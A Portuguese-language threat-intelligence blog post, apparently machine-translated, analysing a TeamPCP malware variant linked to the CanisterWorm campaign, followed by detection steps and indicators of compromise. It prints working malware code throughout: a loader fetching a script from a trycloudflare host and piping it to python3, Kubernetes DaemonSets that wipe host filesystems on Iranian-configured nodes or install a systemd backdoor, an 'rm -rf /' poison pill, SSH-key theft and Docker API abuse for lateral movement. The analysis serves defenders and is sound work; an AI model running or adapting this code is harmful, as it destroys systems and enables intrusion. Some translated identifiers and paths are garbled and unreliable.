Descobrimos uma nova carga útil no arsenal do TeamPCP, e esta não se limita a roubar credenciais ou a instalar backdoors. Ela apaga clusters inteiros do Kubernetes.
O script utiliza exatamente o mesmo cartucho ICP (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io) que documentámos no Campanha CanisterWorm. O mesmo C2, o mesmo código de backdoor, o mesmo /tmp/pglog caminho de destino. O movimento lateral nativo do Kubernetes através de DaemonSets é consistente com o manual de operações conhecido da TeamPCP, mas esta variante acrescenta algo que ainda não tínhamos visto da parte deles: uma carga destrutiva com alvos geopolíticos, dirigida especificamente a sistemas iranianos.
Informações gerais
Uma vez que a publicação no blogue contém muitos detalhes técnicos, eis um resumo das observações mais importantes que fizemos:
- 🐙 O mesmo recipiente ICP C2 que o CanisterWorm (
tdtqy-oyaaa-aaaae-af2dq-cai) - 🎯 A carga útil verifica o fuso horário e as configurações regionais para identificar sistemas iranianos
- ☸️ No Kubernetes: implementa DaemonSets com privilégios em todos os nós, incluindo o plano de controlo
- 💀 Os nós iranianos são apagados e reiniciados à força através de um container
kamikaze - 🔒 Nos nós não iranianos, o backdoor CanisterWorm é instalado como um serviço do systemd
- 💀 Os nós iranianos são apagados e reiniciados à força através de um container
- 💣 Os servidores iranianos que não utilizam o K8s recebem
rm -rf / --no-preserve-root - 🐘 Persistência disfarçada de ferramentas do PostgreSQL:
pglog,pg_state,monitor interno - 🔄 Observou-se a rotação de vários domínios Cloudflare como infraestrutura de entrega de carga
- 🪱 A variante mais recente permite o movimento lateral através da rede
- 🔑 Propagação do SSH através de chaves roubadas e análise de registos de autenticação
- 🐳 Explora as APIs do Docker expostas na porta 2375 em toda a sub-rede local
O decorador
No início, observámos que simplesmente apontava para https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , que continha uma única carga útil. Posteriormente, dividiu a carga útil em dois ficheiros, como se pode ver abaixo.
#!/usr/bin/env bash
set -euo pipefail
if ! command -v kubectl &>/dev/null; then
ARCH="amd64"
[[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
chmod +x /tmp/kubectl
export PATH="/tmp:$PATH"
fi
PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -
rm -- "$0"O que se pode ver é que o ficheiro está a ser descarregado kubectl se ainda não estiver instalado. Em seguida, faz o download kube.py do mesmo servidor e executa esse comando, antes de se eliminar. O código realmente interessante está contido nesse comando. Aqui estão as últimas linhas do script, que descrevem claramente a intenção do código, que iremos analisar mais detalhadamente:
if __name__ == "__main__": if is_k8s(): if is_iran():
deploy_destructive_ds() else:
deploy_std_ds() else: if is_iran():
poison_pill()
sys.exit(1)Como escolhe o seu alvo
A primeira coisa que a carga útil faz é determinar onde está a ser executada. Duas verificações:
def is_k8s():
return os.path.exists("secrets.io/serviceaccount") ou \
"KUBERNETES_SERVICE_HOST" em os.environDetecção padrão de pods do Kubernetes. Cada pod tem uma conta de serviço associada por predefinição.
E depois isto:
def is_iran():
tz = ""
if os.path.exists("/etc/timezone"): with open("/etc/timezone", "r") as f:
tz = f.read().strip() else:
try:
tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"],
stderr=subprocess.DEVNULL).decode().strip()
except:
pass
lang = os.environ.get("LANG", "") return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in langVerifica o fuso horário e as configurações regionais do sistema. Se o computador estiver configurado para o Irão (Ásia/Teerão, Irão, ou fa_IR), a carga útil segue um percurso muito diferente.
Quatro caminhos, um roteiro
A árvore de decisão é simples e implacável:
- Kubernetes + Irão: Implementar um DaemonSet que limpa todos os nós do cluster
- Kubernetes e outras plataformas: Implemente um DaemonSet que instale o backdoor CanisterWorm em todos os nós
- Sem Kubernetes + Irão:
rm -rf / --no-preserve-root - Sem Kubernetes + noutro local: Sair. Não acontece nada.
O limpa-vidros: «kamikaze»
O DaemonSet destinado ao Irão chama-se provisor de hosts - Irão. O container seu container chama-se kamikaze. Subtil, isto não é.
def deploy_destructive_ds():
ds_name = "host-provisioner-iran"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: kamikaze
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
chroot /mnt/host reboot -f
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())O DaemonSet monta o sistema de ficheiros raiz do anfitrião em /mnt/host, elimina tudo no nível superior e, em seguida, reinicia o sistema à força. Como se trata de um DaemonSet com tolerâncias: [operador: Existe], é agendado em todos os nós do cluster, incluindo o plano de controlo. Um kubectl apply e todo o cluster fica inutilizado.
O caminho de persistência
No caso de alvos não iranianos, o DaemonSet (provisor-de-host-padrão) é menos impactante, mas mais útil do ponto de vista operacional. Escreve o backdoor CanisterWorm em todos os nós e regista-o como um serviço do systemd:
def deploy_std_ds():
ds_name = "host-provisioner-std"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: provisioner
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
[Unit]
Description=System Monitor
After=network.target
[Service]
ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
EOF_UNIT
chroot /mnt/host systemctl daemon-reload
chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
sleep infinity
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())A porta traseira é a mesma que documentámos na publicação sobre o CanisterWorm. Ela consulta o canister ICP a cada 50 minutos à procura de um URL binário, descarrega e executa o que lhe for indicado. A youtube[.]com O interruptor de emergência continua presente.
A «cláusula de autodefesa»
No caso dos sistemas iranianos que não utilizam o Kubernetes, a abordagem é mais rudimentar:
def poison_pill():
cmd = "rm -rf / --no-preserve-root"
if os.getuid() == 0:
os.system(cmd)
else:
os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")Se for o utilizador root, apaga o sistema. Caso contrário, tenta executar o sudo sem palavra-passe e, se não conseguir, tenta na mesma. Mesmo sem ser o utilizador root, destrói tudo o que o utilizador possui.
Por que isso importa
O TeamPCP tem sido identificado como um agente de ameaças nativo da nuvem desde o final de 2025, tendo como alvo APIs do Docker mal configuradas, clusters do Kubernetes e pipelines de CI/CD. O seu modus operandi (identificação de ambientes, ramificação específica do Kubernetes) tem-se mantido consistente. Mas o Trivy e a campanha CanisterWorm demonstraram que eles são capazes de operar à escala da cadeia de abastecimento, e esta carga útil mostra que estão preparados para causar danos quando assim o desejarem.
O que procurar
Verifique se existem DaemonSets em kube-system que não foste tu que criaste:
kubectl get ds -n kube-systemProcure provisor de hosts - Irão ou provisor-de-host-padrão. Verifique também qualquer DaemonSet que monte hostPath: / com um contexto de segurança privilegiado. Essa combinação nunca deve aparecer fora de agentes ao nível da infraestrutura, como o próprio kubelet.
No lado do anfitrião, verifique se:
- Um serviço do systemd chamado
monitor interno(systemctl status internal-monitor) - Arquivos em
/var/lib/svc_internal/runner.py - Processos com o nome
pglogem/tmp/ - Ligações de saída para
icp0[.]iodomínios
Atualização: Está a alastrar-se agora
Acabou de aparecer uma terceira versão da carga útil, alojada em https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py A mesma porta traseira do contêiner ICP, o mesmo wiper iraniano, mas este não precisa do Kubernetes. Ele propaga-se sozinho.
As versões anteriores dependiam de DaemonSets para se deslocarem pelo cluster. Esta variante abandona completamente essa abordagem e substitui-a por dois métodos de deslocamento lateral: roubo de chaves SSH e exploração de APIs Docker expostas. Além disso, analisa a sub-rede local /24 em busca de novos alvos.
Eis como encontra os alvos a atacar:
def get_accepted_targets():
targets = {}
for path in ["/var/log/auth.log", "/var/log/secure"]:
if os.path.exists(path):
try:
with open(path, "r") as f:
for line in f:
if "Accepted" in line:
match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
if match:
user, ip = match.groups()
if ip not in targets: targets[ip] = []
if user not in targets[ip]: targets[ip].append(user)
except: pass
return targetsEle analisa /var/log/auth.log e /var/log/secure para os inícios de sessão SSH bem-sucedidos, extraindo tanto o nome de utilizador como o IP de origem. Estes tornam-se pares-alvo para a propagação. Para qualquer IP que encontre na sub-rede que não constasse nos registos de autenticação, recorre a tentar root, ubuntu, administrador, e ec2-user.
Em seguida, recolhe todas as chaves privadas SSH que consegue encontrar:
keys = []
ssh_base = os.path.expanduser("~/.ssh") for t in ["id_rsa", "id_ed25519", "id_ecdsa"]:
p = os.path.join(ssh_base, t)
if os.path.exists(p):
keys.append(p)Para cada alvo, verifica duas portas. A porta 22 é alvo do ataque SSH:
cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no",
"-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}",
f"echo {b64_logic} | base64 -d | bash"]A porta 2375 é alvo de uma vulnerabilidade na API do Docker, criando um container com privilégios container a diretoria raiz do anfitrião montada:
payload = {
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
"HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})Ambos os caminhos levam ao mesmo resultado get_remote_logic() código de carga útil, que executa a verificação do fuso horário do Irão no anfitrião remoto. Os alvos iranianos são eliminados, todos os outros recebem o pgmon.py backdoor instalado como um serviço do systemd.
O próprio limpa-vidros mudou. As versões anteriores utilizavam rm -rf / --no-preserve-root em hosts que não são K8s, enquanto a variante do DaemonSet utilizada find / -maxdepth 1 ... -exec rm -rf {} + com um reinício forçado. Esta versão padroniza o encontrar abordar com reiniciar -f em todos os setores:
find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -fIsto é tirado diretamente de um post anterior do TeamPCP proxy.sh e pcpcat.py ferramentas, nas quais procuravam APIs do Docker expostas e espalhavam chaves SSH por várias sub-redes. A diferença é que essas ferramentas eram scripts autónomos para a criação de infraestruturas. Esta, por sua vez, inclui o backdoor CanisterWorm e o wiper Iran.
Algumas outras alterações em relação às versões anteriores: o nome do serviço passou de monitor interno para pgmonitor, o caminho de instalação mudou de /var/lib/svc_internal/ para /var/lib/pgmon/, e a descrição do systemd é agora «Serviço de Monitorização do Postgres». A camuflagem do PostgreSQL está a tornar-se mais consistente.
Indicadores de Comprometimento
Rede
tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io(Recipiente ICP C2 para entrega secreta)https://souls-entire-defined-routes.trycloudflare[.]com/(entrega da carga útil, primeiro)https://investigation-launches-hearings-copying.trycloudflare[.]com/(entrega da carga útil, segundo)https://championships-peoples-point-cassette.trycloudflare[.]com(entrega da carga útil, terceiro)
Kubernetes
- DaemonSet
provisor de hosts - Irãoemkube-system - DaemonSet
provisor-de-host-padrãoemkube-system - Container :
kamikaze,provisionador
Host
/var/lib/svc_internal/runner.py/etc/systemd/system/internal-monitor.service/tmp/pglog/tmp/.pg_state/var/lib/pgmon/pgmon.py/etc/systemd/system/pgmonitor.service- Serviço Systemd:
pgmonitor(Descrição: «Serviço de Monitorização do Postgres») - Serviço Systemd:
monitor interno
Indicadores de movimento lateral
- Conexões SSH de saída com
StrictHostKeyChecking=noa partir de hosts comprometidos - Ligações de saída para a porta 2375 (API do Docker) na sub-rede local
- Contentores Alpine com privilégios criados através da API do Docker sem autenticação com
hostPath: /montagem por encaixe
... A notícia continua a evoluir. Fique atento às novidades.

